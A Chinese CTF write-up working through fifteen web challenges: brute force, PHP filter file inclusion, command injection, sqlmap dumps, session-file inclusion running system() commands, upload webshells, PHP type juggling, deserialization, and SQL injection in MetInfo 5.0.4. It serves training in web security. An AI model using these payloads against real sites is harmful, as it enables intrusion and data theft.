DCNCTF-Web做题的思路

简易

web1(爆破)

网站无法注册,万能密码也没有用

登陆失败提示的还是账号或密码错误……

题目提示说账号的密码设置的很简单,那就来爆破试试?

上神器bp,使用IntruderCluster bomb来爆破

登陆成功后,显示flag就在这里,但是找了好久没看到

用了搜索的功能,flag放在这边…

 

web2(php伪协议)

看到这边,猜测这题是文件包含,直接使用php伪协议去读取flag.php源码

1
http://dcnctf.com:1040/?page=php://filter/read=convert.base64-encode/resource=flag.php

得到base64加密的内容后解密即为flag

1
2
3
4
5
base64加密后的内容:PD9waHANCi8vRENOe0luY2x1ZGVfRmxhZ19TdWNjZXNzfQ0KPz4=
解密后得到本题的flag:
<?php
//DCN{Include_Flag_Success}
?>

 

web3(User-Agent和X-Forwarded-For伪造)

看到这个提示,直接bp抓包去修改user-agentx-forwarded-for

 

web4(命令执行)

测试的时候发现过滤了挺多的

获取flag时,cat被过滤了,最后使用反写cat绕过

1
127.0.0.1|tac ./flag

 

web5(SQL注入)

提示是数据库,那么…上万能单引号'

果然报错了,直接上神器sqlmap(比较懒。嘿嘿)

1
sqlmap -u "http://dcnctf.com:1043/?gid=1&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2" -D pentesterlab -T flag --dump

 

web11(php伪随机数)

随手点了下Submit,就拿到了flag……

其实就是当传入的password$_SESSION['password']相等时才能得到flag,我们直接提交就相当与提交的是空的,所以就直接出flag了

 

web12(php弱类型比较)

打开是这样的,猜测是用16进制编码过的,我们用Hex解码得到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{............}';
    $one = ord('1');  
    $nine = ord('9'); 
    $number = '3735929054';
    for ($i = 0; $i < strlen($number); $i++)
    { 
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            return "flase";
        }
    }
    if($number == $temp)//当number==$temp才能返回flag
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

这题是php弱类型的比较,可以将3735929054进行16进制转换来绕过,转换成0xdeadc0de来绕过

详细的可以参考这篇文章:CTF中常见的 PHP 弱类型漏洞总结

 

web13(Client-ip伪造)

点击后显示您的IP不在访问列表中!

应该是要伪造client-ip,但是题目也没说要伪造成什么。查看源码看看有没有什么东东

在源码中看到了4.3.2.1这个ip,伪造下试试

 

中级

web6(session文件包含)

根据题目的提示,去看看目录下的session

看下源码,通过dcn写入的内容会保存在session的文件中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
    
$filename=$_GET['filename'];
include($filename);
session_start();
$dcn=$_GET['dcn'];
$_SESSION["username"]=$dcn;
highlight_file("index.php");

?>

那这样我们不是可以使用dcn来写一句话到session中,然后再用filename去包含我们写入的session

先抓包查看自己session

然后用dcn参数来写入一句话,用bp的话记得先进行URL编码,不然的话会只有个<?php

我是直接使用了hackbar

可以看到已经成功写入了,使用filename来包含我们写入的session,可以看到已经成功了

注意:这个session用过一次后就会自动清除内容为默认值:username|N;,所以每使用一次命令后,就要重新向session文件中写内容,再执行

直接使用find命令查找一下吧

1
http://dcnctf.com:1044/?dcn=<?php system("find / -name *flag*");?>

看到了在/app/下有个./flag.php的文件,直接使用cat命令去查看

1
http://dcnctf.com:1044/?dcn=<?php system("cat /app/.flag.php");?>

成功的拿到本题的flag

可以看看这个文章CTF PHP文件包含–session

 

web7(文件上传)

是一道文件上传的题目,过滤了很多上传的后缀,但是他没有过滤php5

apache中,满足.+\.ph(p[3457]?|t|tml)$都会被当作php文件解析

详细的可以参考这篇文章:CTF考点总结-文件上传

蚁剑连接上传的一句话

找了好久没找到flag,最后问了人才知道flag被人删了……唉

 

web8(PHP代码审计)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
include'flag.php';
if(isset($_GET['num'])){
    if(!is_numeric($_GET['num'])){
        echo '必须输入数字.';
    }else if($_GET['num'] < 60 * 60 * 24 * 30 * 2){
        echo '你输入的数字太小了';
    }else if($_GET['num'] > 60 * 60 * 24 * 30 * 3){
        echo '你输入的数字太大了.';
    }else{
        sleep((int)$_GET['num']);
        echo $flag;
    }
    echo '<hr>';
}
highlight_file(__FILE__);

乍一看,传入time参数在(5184000,7776000)范围内不就好了。但是要sleep这么长时间才给flag,那不就真到天荒地老了。

我们输入的GET或者POST参数是作为字符串保存的。is_numeric()支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。而强制类型转换int,却不能正确的转换十六进制型字符串、科学计数法型字符串(部分)。

所以我们只要输入以科学计数法形式或者16进制形式的字符串就可以绕过漫长的sleep了。

1
?num=0x4f1a01

 

web15(php反序列化)

打开只有一张图片,右键查看源代码看看有没有啥提示

看到有个dcnctf.php的页面,打开看看

空的啥也没有,F12也啥也没有。。。我找不到题目了。。。把刚刚那张图片下载下来看看是不是隐写啥的吧

发现最底下有个ym.txt,是不是源码???

终于找到题目了,是一道反序列化的题目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 

#GOAL: get the secret;
   
class just4fun {
    var $enter;
    var $secret;
}
   
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
   
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
   
    $o = unserialize($pass);
   
    if ($o) {
        $o->secret = "?????????????????????????????";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

1、stripslashes()函数的作用是删除反斜杠,代码的意思是如果添加了反斜杠,则将反斜杠\删除。

1
2
3
if(get_magic_quotes_gpc()){
    $pass=stripslashes($pass);
}

2、然后将pass进行反序列化操作,并赋值给变量o。

1
$o = unserialize($pass)

3、如果对象o赋值成功,将对象o的secret变量设置为*,并判断对象o的secret变量和enter变量是否相等,===判断数值及属性,如果相等输出flag。

1
2
3
4
5
6
7
if ($o) {
    $o->secret = "*";
    if ($o->secret === $o->enter)
        echo "Congratulation! Here is my secret: ".$o->secret;
    else 
        echo "Oh no... You can't fool me";
}

不知道secret的值。所以我们想到了引用a=&b,即PHP对象深浅拷贝

构造POC(在初始化的时候将$this->enter=&$this->secret进行引用):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php 
class just4fun
{
    var $enter;
    var $secret;
    
    function __construct()
    {
        $this->enter=&$this->secret;
    }
}
echo serialize(new just4fun());

 ?>

放到本地的环境里面跑一下,得到序列化字符串

1
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

构造payload得到flag

 

大师

web9(php代码审计)

嗯……代码审计,对于我PHP弱鸡一枚……先上链接PHP函数漏洞集合

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include "flag.php";
show_source(__FILE__);
$v1=0;$v2=0;
$a=(array)json_decode(@$_GET['dcn']);
if(is_array($a)){
   is_numeric(@$a["d1"])?die("错误"):NULL;
   if(@$a["d1"]){
       ($a["d1"]>2019)?$v1=1:NULL;
   }
   if(is_array(@$a["d2"])){
       if(count($a["d2"])!==5 OR !is_array($a["d2"][0])) die("错误");
       $pos = array_search("dcnctf", $a["a2"]);
       $pos===false?die("错误"):NULL;
       foreach($a["d2"] as $key=>$val){
           $val==="dcnctf"?die("错误"):NULL;
       }
       $v2=1;
   }
}

if($v1 && $v2){
   echo $flag;
}
?>

(1)d1要求不是数字又要比2019大,这用到了PHP中字符串和数字型比较的时候先会用intval()函数做转换 ;

(2)d2要求第一项是数组,并且总共的数组有五项 ,这里用到字符串弱等于0,所以这五个元素中要有0存在;

(3)a2要求数组中项的数值为dcnctf

最后的payload:

1
?dcn={"d1":"2020a","d2":[[0],2,3,4,5],"a2":"dcnctf"}

这边的话也可以使用php代码扔到在线工具里面生成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
$test=array(
    "d1"=>"2020a",
    "d2"=>array(  "0"=>array(0),
            1=>2,
            2=>3,
            3=>4,
            4=>5    
            ),
    "a2"=>"dcnctf"
);
print_r (json_encode((array)$test));
?>

 

web14(文件上传)

看着这是一题文件上传的题目,上面有提供了一个控制的功能,可以来删除和重命名文件

经过测试发现都有对后缀名进行了限制,多后缀解析漏洞也不能用,.htaccess也不能传,有点难搞…..

突然想起来了它题目提示使用的是Apache HTTPD,上面不是还有个控制的功能没有用到嘛

后面是直接传heihei.txt文件上去,使用文件的重命名的功能改成heihei.php.txt,这个apache他不解析txt,所以就可以使用蚁剑直接连接了

这边的话没有图嘛,是因为做题目的时候忘记截图了,后面去补截图的时候发现题目又被人破坏了……

唉,难得有个平台可以给大家一起来学习,为什么一定要去破坏它呢?真是搞不懂

 

大师PLUS

web10(CMS漏洞)

真实的环境,嗯~ o( ̄▽ ̄)o 让我们看看这是一个啥CMS,然后直接……嘿嘿,都懂

直接滑到最底下

MetInfo 5.0.4 ε=ε=ε=(~ ̄▽ ̄)~ 猜测flag一般是放在数据库中的,所以嘛

metinfov5.0.4漏洞复现

注入点在/about/show.php?lang=en&id=48这边

这边我使用sqlmap获取到字段的时候不知道为什么dump不出来数据,不知道是不是编码的问题,尝试了几种方法也都不行

所以我这边是使用了github上一个开源的sql注入工具成功的拿到了flag

 

 

做完了这15道的web题,有些题目之前没见过,也有些知识点也差点忘了,也就当作去复习了一遍知识点,这次收获挺大的,加油!!!